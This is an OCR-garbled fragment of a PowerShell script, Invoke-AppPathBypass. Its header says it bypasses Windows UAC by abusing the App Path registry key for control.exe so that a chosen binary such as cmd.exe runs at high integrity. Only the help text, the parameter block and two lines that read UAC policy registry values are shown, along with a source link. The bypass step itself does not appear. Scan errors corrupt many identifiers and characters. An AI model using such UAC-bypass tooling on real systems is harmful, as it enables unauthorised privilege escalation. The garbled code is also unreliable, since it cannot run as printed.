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<#
.SYNOPSIS

Bypasses UAC by abusing the App Path key for control.exe
Only tested on Windows 1@

Author: Matt MNelson (@enigma@x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Payload
Specifies the full path to the binary you want to run in a high-integrity context.
.EXAMPLE
Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe’
This will start cmd.exe in a high-integrity context.
#»

CmdletBinding (SupportsShouldProcess = rue, ConfirmImpact = 'Medium’
8 PP p
Param (

[Parameter(Mandatory = $True}]
[ValidateNotNullOrEmpty ()]
[string]

#Payload,

[Switch]

iFarce

)
fCensentPrempt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion%Policies\System).ConsentPromptBehavioradmin
$SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\MicrosofthWindows\CurrentVersion\Policies\System).PromptOnSecureDesktop

Link

https://github.com/enigma@x3/Misc-PowerShell-Stuff/blob/maste
r/Invoke-AppPathBypass.psl
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